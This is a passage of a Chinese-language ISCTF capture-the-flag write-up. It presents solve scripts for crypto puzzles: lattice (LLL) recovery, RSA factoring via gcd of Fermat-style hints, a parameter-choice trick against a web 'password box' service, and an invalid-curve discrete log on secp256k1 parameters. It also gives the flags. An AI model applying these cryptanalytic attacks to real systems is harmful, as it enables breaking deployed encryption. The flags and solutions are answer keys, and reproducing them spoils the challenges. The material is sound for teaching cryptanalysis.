if res == target:
return mid
elif res < target:
low = mid + 1
else:
high = mid - 1
return None
iv = binascii.unhexlify(iv_hex)
ct = binascii.unhexlify(ct_hex)
for L in range(2 ** LOW_BITS):
a2_guess = (a2_high << LOW_BITS) | L
m = solve_poly_for_m(a2_guess, target_val)
if m is not None:
key = long_to_bytes(m, 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
plaintext = unpad(cipher.decrypt(ct), 16)
print(plaintext.decode())
#ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}
小蓝鲨的密码箱
Title
出题人:落书
院校:平顶山学院
难度:困难
题目描述:小蓝鲨有一个神秘的black-box,里面藏着它最珍贵的秘密。小蓝鲨告诉我们,只有知道密码箱的运算逻辑,你才能知道它的秘密。
容器题目
Idea
访问靶机,发现是一个web表单
通过测试发现,服务器返回的 "Flag" 密文会随着我们输入的 \(a, b, c\) 参数变化而变化。这意味着我们可以控制加密 Flag 的密钥或参数。
经过多轮测试,例如:
- 1: \(a=1, b=1, c=65537\), 输入
A(ASCII 65)
* 输出:66
* 推测: \(C = m + 1\) - 2: \(a=2, b=1, c=65537\), 输入
A(ASCII 65)
* 输出:132
* 推测: \(C = 2 \times (m + 1)\) - 3: \(a=1, b=2, c=65537\), 输入
A(ASCII 65)
* 输出:4227
* 计算: \(65^2 + 2 = 4225 + 2 = 4227\)
* 推测: \(C = m^b + b\)
...................
推测出加密公式:
其中 \(m\) 是明文字符的 ASCII 值。
既然我们可以任意指定 \(a, b, c\),我们可以构造一组特殊的参数,使得解密变得非常简单。
置:
- \(a = 1\)
- \(b = 1\)
- \(c = 65537\) (或者任何大于 255 的数,以避免模运算丢失信息)
代入公式:
这样,密文 \(C\) 仅仅是明文 \(m\) 加 1。
解密公式即为:
exp
import requests
import re
url = "http://challenge.bluesharkinfo.com:20543/encrypt"
def solve():
params = {
'a': 1,
'b': 1,
'c': 65537,
'text': 'test'
}
try:
print(f"[*] Sending payload with a=1, b=1, c=65537...")
response = requests.post(url, data=params)
flag_match = re.search(r'<p><strong>Flag:</strong></p>\s*<div class="hex-output">(.*?)</div>', response.text, re.DOTALL)
if flag_match:
hex_str = flag_match.group(1).strip()
if hex_str:
cipher_ints = [int(x, 16) for x in hex_str.split()]
print(f"[*] Ciphertext ints: {cipher_ints}")
flag = ""
for val in cipher_ints:
flag += chr(val - 1)
print(f"[+] Flag: {flag}")
else:
print("[-] Empty flag ciphertext found.")
else:
print("[-] Could not find flag in response.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
solve()
baby_math
Title
出题人: yskm
院校:浙江工商职业技术学院
难度:中等
题目描述:死去的记忆突然被唤醒了
Idea
题目附件:
from Crypto.Util.number import bytes_to_long
print(len(flag))
R = RealField(1000)
a,b = bytes_to_long(flag[:len(flag)//2]),bytes_to_long(flag[len(flag)//2:])
x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)
enc = a*cos(x)+b*sin(x)
#1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52
分析一下加密流程:
- 将
flag分为两部分,将前半部分转为整数 \(a\),后半部分转为整数 \(b\)。 - 使用 SageMath 的
RealField(1000)设置 1000 位的浮点精度。 - 生成参数:
* 高精度浮点数 \(x\)。
* 密文 \(enc = a \cdot \cos(x) + b \cdot \sin(x)\)。
分析:
其中:
- \(a, b\) 为未知的大整数(Flag的一半)。
- \(enc, x\) 为已知的高精度浮点数。
- \(\cos(x), \sin(x)\) 为系数。
一个 丢番图逼近(Diophantine Approximation) 问题,在实数域上寻找整数解的线性方程。直接用 格(Lattice) 来解。
将整数解的问题转化为格上的最近向量问题(CVP)或最短向量问题(SVP)。
寻找一组整数 \((a, b)\),使得:
为了处理浮点数,我们需要引入一个巨大的缩放因子 \(K\)(在脚本中取 \(2^{1000}\)),将方程变为整数运算:
构造如下的格基矩阵 \(M\):
取向量 \(v = (a, b, 1)\) 对矩阵 \(M\) 进行线性组合(即行向量相乘):
结果向量的前两维是我们要求的 \(a\) 和 \(b\),第三维则是误差项(应该非常接近 0)。
由于 \(a\) 和 \(b\) 相比于 \(K\) 来说是非常小的数,且误差项接近 0,因此向量 \((a, b, \epsilon)\) 是该格中的一个短向量。
利用 LLL 算法,可以将格基归约,找到格中的短向量基。因为我们构造的解向量非常短,LLL 归约后的基向量中通常就包含了目标向量 \((a, b, \epsilon)\)。
exp
from sage.all import *
from Crypto.Util.number import long_to_bytes
x_str = "0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100"
enc_str = "1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52"
R = RealField(1000)
x = R(x_str)
enc = R(enc_str)
K = 2**1000
v_cos = int(cos(x) * K)
v_sin = int(sin(x) * K)
v_enc = int(enc * K)
M = Matrix(ZZ, [
[1, 0, v_cos],
[0, 1, v_sin],
[0, 0, -v_enc]
])
L = M.LLL()
flag_found = False
for row in L:
a_cand = abs(int(row[0]))
b_cand = abs(int(row[1]))
if a_cand.bit_length() > 100 and b_cand.bit_length() > 100:
part1 = long_to_bytes(a_cand)
part2 = long_to_bytes(b_cand)
full_flag = part1 + part2
if b"ISCTF" in full_flag or b"{" in full_flag:
print(f"{full_flag.decode(errors='ignore')}")
flag_found = True
break
#ISCTF{164a3221-7306-4024-88c3-4ef557b86895}
小蓝鲨的费马谜题
Title
出题人:落书
院校:平顶山学院
难度:中等
题目描述:小蓝鲨在一次网络探险中发现了一个神秘的加密系统。他发现这个系统好像使用了费马小定理来保护重要信息,但是又好像不太一样。小蓝鲨设法截获了系统的加密输出,但不知道如何解密,你可以帮帮它吗?
Idea
题目附件:
#task.py
import random
import math
p = get_prime(1024)
q = get_prime(1024)
n = p * q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
bases = get_primes_up_to(100)
hints = []
for i in range(len(bases)):
for j in range(i+1, len(bases)):
hint_value = (pow(bases[i], p-1, n) + pow(bases[j], p-1, n)) % n
hints.append((bases[i], bases[j], hint_value))
#output.txt
n = 16926747183730811445521182287631871095235807124637325096660759361996155369993998745638293862726267741890840654094794027600177564948819372030933079291097084177091863985749240756085243654442374722882507015343515827787141307909182820013354070321738405810257107651857739607060274549412692517140259717346170524920540888050323066988108836911975466603073034433831887208978130406742714302940264702874305095602623379177353873347208751721068498690917932776984190598143704567665475161453335629659200748786648288309401513856740323455946901312988841290917666732077747457081355853722832166331501779601157719722291598787710746917947
e = 65537
c = 7135669888508993283998887257526185813831780208680788333332044930342125381561919830084088631920301623909949443002073193381401761901398826719665411432016217400457613545308262831975564456231165114091904748808206330488231569773162745696602366468753664188261933014198218922459715972876740957260132243927549037840265753282534565674280908439875550179801788711737901632349136780584007599655055605772651127003711138512998683145763743839326460319440186099818507078433271291685194944254795690424327192625258701835654639832285402990995662846426561789508331799972329711410217802657682842382105869446853207634070295959281375484933
Hints (format: base1, base2, hint_value):
Hint 1: 11, 41, 403072318395713195475880235840306655046644537786837658466183670390322357403650602210882802453171853452
Hint 2: 73, 7, 3401877351823051464833008106697922874740843547186522246399577691648145322938787488999079423405760696040635223407580102549819096176975820017380148265275786281647240647714533261221890310813882987089721138616513427711006945061727486708277298401545762448776593105730005387022319319199166969225690343981500127626848336242187816071435842118963634505746771844269484845077330851526393327015758760003053231670737896550596266539249975891234238005583184203089180325261872944167834576158878843510707348603774425827560724587546720860765943393963597645881666559247252842017499263265738255716811999328445725902262302532911214255949
Hint 3: 59, 73, 695583691945177012011155613294846891840015729899504980764916686517371703553347581254163445300367305365949600797847620946823894152274689248119430670857791635723385692575931740078475490085973951317953049329486264578815530286784178680687403627415153526425715193114420845091853572366108176759184115038228886689580295865909953096284457818874267153151571968297454864850732608316298813594124020007025412733770104355236849081247730461956131749267446455113813284775308663385548094921945410215359273656658830019785099633226412843434625002115741084636776823289994271249660745143685585443820708578849162449717982725541307852715
Hint 4: 53, 17, 971645701575323882519635342913625889703399294086
Hint 5: 17, 53, 15015015166119321293244100074414416277924832658329700344653519929879563546652512240571777007009139132526751717913688831473249036114283479537249767699902565862566840754892319936718933957878788242522102884592375092063435348463420495622162622111752797419564087812071877456034189172928466087325995711799494559632348117577986369270044265839851198529901138826760234172452522279821372814789053868333623123766583799003287221335420456780264904184548645200345715153696373219687248029519611142514212181449677795769427641367964609639782220743835161725500332507591502818244881229659746207461229056486960160782643424330243354078694
Hint 6: 59, 19, 4427802296687944448870952484227318
Hint 7: 19, 43, 19174465169354813231681320402781559275699092043658101294284851123118510716279410
Hint 8: 23, 31, 6031706827842456717715236244872427215835819411314168938820265741988730625387931647610750902952789928566569174296650515449892611198040938188209413722806254050103019879240215344570043498312370280623702924998835728624935413985841142180365335178468710734638030582183503463305813229510689954065159041592316788178873050291779739508108222965509434291492950189742558594400755699777715854046635146464467729949201239668741264832027750549876625288984575624485894153879412247669943493660233937543961086506015000295606199222800612415043850877838520358081044378561877650595040905680464898635661677396546195369907960492865630959945
Hint 9: 73, 31, 14201978515584496685882877364621713654579319459919970854066889531106363038011334520524797899491133943665135480301300406440254472658620428164578914318059588912647092994632856690
Hint 10: 31, 3, 17761887753093897979823770061456102763834352
Hint 11: 13, 5, 4150700388609705807509972385476068337626559497757356803399419065000783917890225153250286903799441660433187538279583874523190497602462150199426414868861228792088666515397312761673326022980940385774334828394940770351447957541072690963220641780722897399543555486513918873014494692941882646929202605685305683969151271831603708612223260616432695010847067252877343217676963276876850265407927146383572955861063428706012170676831524971272198283920333900403902257748241220365118645448662797961778388544299359695919130547938351588261698392641490575786350259413542725944665834486513968924860904668074607650304874723425230270137
Hint 12: 59, 53, 2093308535564899860358544644764036388478107502010763064242342417957960952425000274395405300689532194265342136032111944045432326085818281844400947666782274940461183395046865284971635536544260910022728631047126094710543502860882170401987674931187922422766222327719930375318976698721098197543008758760603140658147997152753438270623866111022164350986375651437321309108736011279113592001916870502347116720151257306071411569096876275005515839079136440506703094781753301521917670413306257490297241974169467740732230454155267623129991881695623072243477621355484939295049508367225410929080326109567111654067945546042372106278
Hint 13: 11, 89, 5773679028890369456276328097218681131210336197851484718484213121094699090839722641329327818066934448088431288328288112007488949292271360565624555172295051667285077138864510745740214905953043079468933679191715551224964421931824712984605682049449568976492220103844351216496482668448767237697296740468431846671505265143619239976063901580555986558904470931013978569579237148514276178765419852198637961774494186181747458089405228411950572658310072067499489988259824774767508198451267875000556446298608250644009748818937568123418528009187811944967998576518784004540892824519032050506460017670585483238226301820712571645579
Hint 14: 59, 19, 10974757986236006288348468568336947121923978268025782618680419380484847824293845383379274809628633982884248524866285416869994466804493799071019695089232140692475376148645650118342055726520583120333882910989811592931370723715884717392658914626279560914541425986351478710240862377226197891323537525676367683258652280225895980668977840969537035757009985713502197856706880646989184201990423727195172560560704893733494792945340405983958264929760613990510042281137251536502371683060105493456566203202995676363796508260438545252515574493473542492715179349497866152824132141129238032807684278789579870873990631709515352502373
Hint 15: 11, 59, 8286765915642893643722267671556930668422080363489440619486004330134849571178036674986475802754804260626759450923775241201472288503107728483612582960417838690160802
Hint 16: 3, 83, 8670564904343374156075891784422797917915847070310520984332279769504164524019002920437878667712734918407503893528964609388615752378009668179394550543334742880513288696193899579334352041612737521648871122300770732109991958777364103317237896209222739571605930423722098331428587046952745581887767018125449661836385756401767146216848185513274686419811084754784129338190887685792489185844961970682436930953762662159256843649680197802836233628748219421311091068027884246286801955132580168006746385788553263325371239064547214943270463799271582693307097866515323559640081377472410365311796667103389327125755510398234792960539
Hint 17: 47, 71, 15189655529337297599070621327692775647472437654342284733419279459044091245709484592008784236836038238199431339530080798833863694019082099360867975411468181802365883838048650755521947739185044832121750278668725458779161264572106488221158049174704002405104694045711051726668876267794954827804265584531526809688162851528267958117474561865081871142026481602702358611977383838840467216409782013973906761226139903245114056975231832568083538564658843330419770362826462102622789108069389249602641189148715388059622341376715417265924644704691316367196722599195793773962428198040205512616444509750834973953022693785550802266112
Hint 18: 19, 29, 14661046810005357468594301664850836437610256328712330874381003343699942748425302158171105550644727048051206458117828772075144383589551129619743654527620413132286889305278690645291359466534057249273843187124449541437587033949823571613090619667989912739101162245067852658322665279694710401800444138141346856093835079283227374648099624120782619771322472623630789096431414534527222485118949515372622085183912510018177895906649522504991475861146404995703763107816964209369487501529056212864220862713277632632268594192926804994930950930762255940853728034617285828125545163750399143037606327606535126251763073693473953686744
Hint 19: 11, 89, 13357214564583644951510034650716277516325510600111365531856471059002907497767937445827192806732793166523983315887101899445087845542550038342480500237151465231405685422545530090065005109607310864977025325103465672450850540379234341279749113886947539400845321822481006994262700375964062063857363515290494376286961284725864589465065587339836635723085250544188242927462327068925005089561746960078398647971113589281563663689024296134195815738058179266887469473137997216792436310641839801585271790331365746442208348676200753457562160444740691258422882276851839616144554731981681550535123108350101531030525324694963994545288
Hint 20: 13, 19, 9015439113692415723812039454602636203717179069784080604236209577969030957184510380132987544909218798262905505307236620420364723156896628015021747981816896133290154232921264396063118665954041870382404950626337554885082880595372492300185559547705412727112020773895391734178675568118417294113429562448849544338564697858353479059676992341239979279973948191000090925611122966827392226766571948922617345703402518639464697367975459916964712370264229447747875703346922955116402649868815187647332682627727429521327349380558524025434437065348919358179886784373948470464530596295968257196117932806673623409596232224263656709447
Hint 21: 17, 89, 1232624071183606371752171179827692250773859330394635710762162149851456772281037111827897119725547063233395640472176481922500789994068941245743063373416785659254352015310032922118348550975562
Hint 22: 67, 83, 1126066176169173986258375138688137558142264839106063302940880092042502490911057016254959754435510429411384392032847908273635563612047472121950839934733905729015943917767915064618640585969621038467420076188953203812632416692873236731402216410500667938438399832227071790611412372173974174687603713326333791754140419675029772154828193139783484205710539042656417324250808919494712510406268629862104562237889399268931862879343990757365436458551497886263701914349819002099339457690106946122543529626710290881457346334759953170142024757161589525394691005814751979092184245953191693247075620270045838678527511170972567753351
Hint 23: 41, 97, 15061728396574720128871454281806425283902878531290205263072044930084328354647716799950058691868870125292816458036423472349601649870044904984377004711678761714808846252355372756850495640148784156530292575757175420916873271609977179541391067607437946628688811886889502712607514447458904992024279765998865875618672417318528806259694052202283848620150531327490085874935926140164888318138777816635210686133434879564761574366090585467327313351792501721900090022412568322566880308204689579089754113916523137219409702840025596606460438071507115794360457519041650146002247978792944063933568992230154174930543323173071240960636
Hint 24: 7, 23, 107006904423598033367949136709476534616
Hint 25: 79, 47, 11094334665560612802457947914579705831928780165312070004861180761238832002874428458670163845939464475999733253092738012391076484871479088986479536610030564639805718143084622127711215172458485326388902083413575454799106868355391943732802994224342313418146481622340282330554260946195940723120836406549666330792363893799020720281135898034922255022048435484533585962047978284629786026663018345757890693521562666203031553493103945295693195640052093415731503407816366337336182698796883001653465915740746118519384260984893835094879165736186434278489286286227662273545663256993867922180157248380291757381125272120891684062194
Hint 26: 59, 73, 4064264878148785166802093462858575465400091342645180541176126645875623098033551060982695656331190143572426766578696362147717218779335361493125256534627342192680373626652482508115615860816250319187188097915962706304133850035098343668277834974105321147191342624944627482006284223163704828843061145141268544104282644658022010819808655796239544272048394743182820455393255285941665799519906799024432739271653191031181064778284104887384076188431552852025837101339257686236262365247791750207700069395619856622961279534162976795147959769683692604340368460731405668330115156114576764572051491629821619308816381773343755003534
Hint 27: 67, 37, 13951782965760049234481961368802553800278133941697263631552649243302664977209715848353709633491008434674270268090076527067844931388512019333805006404853566312201157392447713057698715800623288234051899693554210937852453814575305705182660789018065999222430838475037429354174069134372859946362529872754325135924297601113491133129277121309644377255711296412090554983403167436585565758988120192517511808267055408632606896756685326534561420410005038161122481109870042764517919065341900975187982359357007105413042469550052322588976438466403370644683889314221651454587673986716491269580073476431119104550125907982617819198239
Hint 28: 71, 31, 14592451107942406172703460352000704126425716661469483183610425663886284772375260143470595014699236417504356417924516247683378564032172689094243907515271202472795378941272772693424353756938883720892780719870429492112844354792067076527090697208293397879373413452057503440196643066732299886678533556377726500394447831070628632364135576812382061688937462189566815186722078015421531935330987991868677259308976254080329342447669466494877857082494259824027412023017042305976083947770306599290459206333751309651343338718031684134413354721116695889173022783305688553309591139544114673672159391172663588390812561345603404875445
Hint 29: 61, 37, 150312118586919145020616357224172487248862369450901081305248777087453651799298780184965167114015639778324633934952775965666791061680751287444693564273797597220185626300049938
Hint 30: 47, 89, 5435525789990781146665058968159824543197878249058619814486157180575648579639831493916004219973973832266296536703517577992770
Hint 31: 23, 47, 16103071775810171711924674905790805963818714309292465098237116772593040021211622298924186932004880334851627830206994635151992140064405277570483377357957039009351094902151630023493150975576584876244834021621269645929479405478143057020268612485343670663377970673925984030126760947109176763636955974818654880191024493408598053751276065135442200582652319408920748644591450674320233708025358524648197707659990862662361862539842868417063320792767415984991601751165223638123837341091365974671765054733794332399697028713963544373254318631595083356458002718583341127602790857490164278343070475882464426640213476914415482369850
Hint 32: 29, 5, 13149325842021723251134510511729784479095642778506166091034934686556554381120350749714138697288609601129918017821541343485285067285202422145639363694603240119439803374916552440509169187395808575353190466385753062164445875730603626277916455911345416839502129509688066724158296752117066013823226052016786749548019509350864881585069802037870118674424466298682508091272797804735861773714128160193020313575834557745724129735757517340056227714959610755715392915985854554070909168057367535004631491240072926342019254725105436116655974774609052713231818128446311960013765270122065871739363402131985754839033491581530499347992
Hint 33: 89, 47, 630043523370452187379224662747648830902214688021486477430843243593080113724992705480996062907676256037302619160067814028518895461989971281884155808829193898017336
Hint 34: 19, 59, 5312300113767710347282768227082829679387523215214639151760217349511385597102767288546324009076948101196442028352053632460946433171294574346446379257281949909272350819311609431501573807000878460778313626108872598317920103278246614995180550162481588759079785633301645095994306260526442257399195256822168763040046685053639779110740308012206330181637380011462498603874585251040951562533555627840386291011622732627801692079226133918094516784934996032323522126557227339640405344352939596441336679652918394074410690904621730980459695004938137633444530118011543020946033976566969594506053598637256025269420788063085529221486
Hint 35: 59, 3, 13338480097536050870847065134681408887393061870891194580910295898171005379071202538125320488322264936939611934926773854147441861842696082224910493485968940453414962504999277326912024770737526865763322593711772391102570024742439366641421857370464779798305027785021436688758138471130400190763565033556147205447698037378616533728663507465789889356211004747849498360714349678453175418183091908832867382402195272783569030789904261178845317149753713695808383033170623145131434242158410724256492198680651336056844232593215970896169424430059260906555229446741538286239350780216208715553935143523165464773688871774009588738407
Hint 36: 67, 2, 8256928556897492704838762552986750294374712035464071847912955091323033935694693535736594865997626239305042785518308139569682623007419575794366667620985270619928978345775201291927479777879409352040290541010779775363393802966114845982777093715738330158248145557248971011553853095404328553837691636026735523457849132602891079774484964955413419103753159331087739019434888120001297351898315190776895144785024767468167340726846414096469818750219466508467856583779003457862584610836846910059997868710036273917335512342095635575374346404071250572917845292452258621324256922950179010754476790644241744968537946791784277331172
Hint 37: 11, 89, 469829525495433863398701036274262995240821686827512278740409156383771339857992568557981522
Hint 38: 53, 17, 15381013223078846537731461466880636394199540595403435401138127547481863401431466372374802606225281410197388364722944495843405467862781503434970989158584650159590980399087359088118746163629618532987297413548047215179053477589410157484215376788161320381404390190467326828317085039705167675630596365709188985681649747552770255068423205419746730136649403555515290098619746175600947097893366036430479763751257652595334352418296864541247999321025232348500763810371215286305853572498789766256531460974011022731922336715523379552064525311328532274496963226072015892784253991084576242734695083889820166631064731394426574244137
Hint 39: 59, 3, 8639902842024035953048638563768315927624671856924547112209526883962456853052089935252707927468432895933170836045185383394096573378220873632433306851623471094895240704466661122788392467144892335530991171751297377896525529639348516066396938968040587426508605861054726429454030686327018745441753930983556245291730653368996527050046737903050080495173995563726990564829713815768651787483101363848070083858443766098560638337868296111441788798574965477355431173836128839250967090465226610709666720508328978510631834435136772497463531551713080290889081436462800389414847971067210139076388894646477223534324245688231308651402
Hint 40: 71, 2, 35228394523315997738820412922291535639435039748226420541446858967158850258697393757215146296389518178994242807247547892971367759083443187781159
Hint 41: 71, 89, 6240983929786483220051416467719053988488038641934890929981073832233939427834145472336915358758745943895354212032680367743535480193473825955326802869864352912264819240397323037315537988324410288546472301626890591739573348191915387074878814318018257079325106269383242877918486075024690767741729879076813581842036944498326059102754583317760100647490256432861228914984872474683425397073112462956198249407553140398404673370857128292911829788563089759423977978816627360219756198454057710015406165962422617662704219899517474510659197047034325834333381214858621450033089047323717051044225354940003754145032127292424992011101
Hint 42: 41, 11, 6984059054701243194406577182995741240436897138602476775543220094645161472633895356320870691493565356230021817198695018272393666667370608977208110764253393769787442206738887651454907864559105056199727308147026476795306714769493199003447522266774033773324562270207374768320253619068701592065984601594887388312013493599257403722865953095442171057100657271578293280686338908523864018983343500587769033822586560003572736592272152317739316444108939218480574158527171198620726886917802598591993658035939705289787249746288650701612275221097113840902054486416966701593345265607809381111897049158093808534604642731640119152868
Hint 43: 13, 29, 9610425425501485449537748361164652677158792621032292104946727266655594704290554003044377640635938997615382559405839696633456524257520749570798069876408676921921508491566094310451535812726509625559772552216775984034994654686077581771306574807821000988687494843385541833458873739204271564568689723925761973189708592881482846646426280049739796580929850941981882154358359008000707906221459919505725630791914755910838899191924833300609856950819107362413681305294507489838444421285910012653866140490877420620551310798317895506704520509435554786438387597440096937627702835916143794698887778982888695219967982245649746655470
Hint 44: 47, 97, 794708560552308405126546731517428100557886745717835758758542380710685584
Hint 45: 3, 41, 4366286865897405386543255708293800522386204706169307328366554555364884083859171277798722946451756634920858627299532823660480318239049230750988476049477513092520844569149267106332990711387926038335306437738094725423916554317517443566123618496555545533680705744831228568422251969382492688050958971980479679805428102801749764130245809570484750989852311926567073592760547445916703018635471776441628270869914109919847570929937108398744190319099944135878164624117925789234408527770792315261913666378047301366117348007407689729553121872429672477943763065031289363375897860958687532065443830782060680953252171706108298186067
Hint 46: 53, 13, 16599275744410550408933364882313950383421717117863259063696626313760940800128182804380262220526496674159136503269710326208644142632589833265263673629452996345476574747374747172655476596826644020872255782962700686562762713813009141052898954099526049199438330249525172937305118217295550996402876461138835393788249817466964132570303998739392864522160381559518796827917831858448710285259754350691301608261901046038810797165013301247129220438986641677769203536623610901604156282036632560795746698128751128683870700853339493839501889121028640592461819470558005091594236201609522690232023400257649767388230656904982965702400
Hint 47: 61, 83, 9953189432255063894070711778963178970743198121753649081719130469512753806047549503962109442976714615255038871181051195512724207218843889262884288045589566753004137388059340730864662203711021106738767094228552897493653199240432249671119014845998208040396103544771523200759949973732641979644934204944350638114647371917538547803820215871447465362042956264048360078551647879310238285850657470764222027085496193016418088396386760643015475367197907378932626248164269818716905644542858090723472987968554892684192736976050169896444520698548656309379499864809652240244453616286236722509397142224233180948147011605558427902848
Hint 48: 47, 73, 11137871466581047781242984634852964336706264103460602528475970728553465644713327296350923627071860721778412789236714773697433892321959279504008377433584604885817319604115996426320874382244073671694322092160768350159529231732048447670177579115854882538413223938721279445190025525651472499343624011272214336778696111400347742318222789215043195711269360705507743463500549755479755775737105743290208621332589467304719937369513194207595213182980370357559166180993485168866418076474829491707312908665547905615295104716814273672708222960604034067248688735024594069804630472429600684961470444745009128678939204098625367015452
Hint 49: 37, 43, 8547801237237556680245447121357531340087815887730999035326630934574339083867172461996679202294604204246415617087303468869638590371489396511890451394149215396045103967365422720335104673107126428846330142015210956274026922065251671248521248406703003517010268831048835400375497130725745344823402860499648204664008236488552255035422928921490487905318800334939525030207122862220895298568207554924706494486709790089585773581447139024819366484617067643862923821174578132381404045225537724922355917737191443476738183156619271477344846716060997041706765920488392521346954370234605596534371205052913391651084238833069263785246
Hint 50: 89, 7, 10398214245820233588167072072340460997067473220261572021578267549114000461324485988447437613040475809210011162256875428799327091235990171928216379105895288609773032862919523980293555963618323001564571973363418294497086861386518673361280706598614868452173330762143105775824076992409365806017218778102139861298703673447295670293191397994589110648541822608470022190616048229374246581750506635166699349805517119679503917519913987281318125804952325118589261418014369477837522696543190827291142488222603361805610512683583242709234195072960764001035300916480662591147878968245702960413084896858751962028377013605141587432900
Your goal: recover the flag by factoring n using the hints!
分析附件:
hint给出的形式:hint_value = (base1^(p-1) + base2^(p-1)) mod n
令 p 为 n 的素因子(n = p * q)。根据欧拉小定理(Fermat 小定理):当 p 为质数且 base1、base2 不被 p 整除时,
base1^(p-1) ≡ 1 (mod p)
base2^(p-1) ≡ 1 (mod p)
因而 hint_value ≡ 1 + 1 ≡ 2 (mod p)。也就是说 p | (hint_value - 2)。
所以对每个 hint,我们可以做 gcd(hint_value - 2, n)。如果得到 1 < g < n,则 g 就是 n 的一个非平凡因子(即 p 或 q)。
直接将复杂度降至线性。
exp
import re
from math import gcd
from Crypto.Util.number import long_to_bytes, inverse
def solve():
with open('output.txt', 'r') as f:
content = f.read()
n_match = re.search(r'n = (\d+)', content)
e_match = re.search(r'e = (\d+)', content)
c_match = re.search(r'c = (\d+)', content)
if not (n_match and e_match and c_match):
print("Error parsing n, e, c")
return
n = int(n_match.group(1))
e = int(e_match.group(1))
c = int(c_match.group(1))
hints = re.findall(r'Hint \d+: (\d+), (\d+), (\d+)', content)
p = None
for base1, base2, hint_value in hints:
base1 = int(base1)
base2 = int(base2)
h = int(hint_value)
val = h - 2
if val == 0:
continue
g = gcd(val, n)
if 1 < g < n:
p = g
print(f"Found factor p using hint with bases {base1}, {base2}")
break
if p:
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"Flag: {flag}")
else:
print("Failed to factor n")
if __name__ == "__main__":
solve()
#ISCTF{M0dIFi3D_f3RM47_7H30r3m_I5_fUn_8U7_h4rD3r!}
沉迷数学的小蓝鲨
Title
出题人:落书
院校:平顶山学院
难度:中等
题目描述:小蓝鲨最近沉迷于椭圆曲线,但是有一个椭圆曲线问题它始终做不出来,据说它广泛应用于区块链技术。如果你可以帮助小蓝鲨解决这个问题,它将会给予你丰厚的报酬。
hint1:你验证过基点 G 真的在曲线上吗?(这只是个ez题,别想太复杂)
hint2:G是这条曲线上的冒牌货,但代数运算不在乎,因为计算机可不是数学家
Idea
题目附件:
y² = x³ + 3x + 27 (mod p)
Q(0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167, 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080)
k= ?
最终flag请将解出k值的16进制转换为32位md5以ISCTF{}包裹提交
当时看到题目描述,区块链技术,这通常指向比特币使用的曲线secp256k1。
标准的 secp256k1 曲线方程是 \(y^2 = x^3 + 7\) (即 \(a=0, b=7\))。
而题目给定的方程是:\(y^2 = x^3 + 3x + 27 \pmod p\)( a=3,b=27a=3,b=27)
在 ECC 的点加(Point Addition)和倍点(Point Doubling)运算公式中(针对 Short Weierstrass 形式 \(y^2 = x^3 + ax + b\)),计算斜率 \(\lambda\) 只涉及坐标 \(x, y\) 和参数 \(a\),而完全不依赖于参数 \(b\)。
如果服务器端的代码直接使用了标准的基点 \(G\)(来自 secp256k1),却在一个配置为 \(a=3\) 的加法器中进行运算,且没有校验 \(G\) 是否满足方程 \(y^2 = x^3 + 3x + 27\),那么实际的数学运算发生在其所在的另一条曲线上。
这条“实际曲线”满足:
- 模数 p不变。
- 参数 a=3 (题目给定)。
- 它必须经过点 G(xG,yG)。
因此,我们可以反推出实际运算所在的曲线参数 \(b'\):
由于 \(b'\) 是随机推导出来的,这条新曲线 \(E'(a=3, b=b')\) 通常是弱曲线。它的阶(Order)大概率不是大素数,而是包含许多小素因子的光滑数 (Smooth Number)。这意味着我们可以利用 Pohlig-Hellman 算法 在极短时间内解出离散对数 \(k\)。
最开始做的时候没验证基点G,一直不对(ToT~
使用 secp256k1 的标准参数 \(p\) 和 \(G\)。
- \(p = \text{0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F}\)
- \(G_x = \text{0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798}\)
- \(G_y = \text{0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8}\)
- 题目给定的 \(a = 3\)。
计算 \(b' = (G_y^2 - G_x^3 - 3 \cdot G_x) \pmod p\)。
此时我们拥有了完整的弱曲线 \(E'\)。
- 验证题目给出的点 \(Q\) 是否在 \(E'\) 上。如果在,说明攻击路径正确。
- 在 SageMath 中构建曲线 \(E'\)。
- 使用
discrete_log(Q, G)求解 \(k\)。由于 \(E'\) 的阶是光滑的,SageMath 会自动应用 Pohlig-Hellman 算法。
exp
from sage.all import *
import hashlib
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
Qx = 0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167
Qy = 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080
a_fake = 3
b_real = (Gy**2 - Gx**3 - a_fake * Gx) % p
F = GF(p)
E_real = EllipticCurve(F, [a_fake, b_real])
G_point = E_real(Gx, Gy)
Q_point = E_real(Qx, Qy)
order = E_real.order()
factors = factor(order)
try:
k = G_point.discrete_log(Q_point)
print(f"[!]Found k: {k}")
print(f"[!] k (hex): {hex(k)}")
